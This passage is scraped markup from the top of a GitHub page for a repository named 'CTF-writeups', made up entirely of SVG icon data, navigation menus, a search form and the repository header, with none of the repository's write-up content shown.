1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="163533425" data-scoped-search-url="/pr0cf5/CTF-writeups/search" data-owner-scoped-search-url="/users/pr0cf5/search" data-unscoped-search-url="/search" data-turbo="false" action="/pr0cf5/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="5Gfbz//SVQ+w5anYEHFRgHBhpO8rTry6Jv/S7ej/D1JAkKZwS8cf2v2LmRC6dHWm+OfYIvc1c7w7GG38pBu23A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> pr0cf5 </span> <span>/</span> CTF-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon 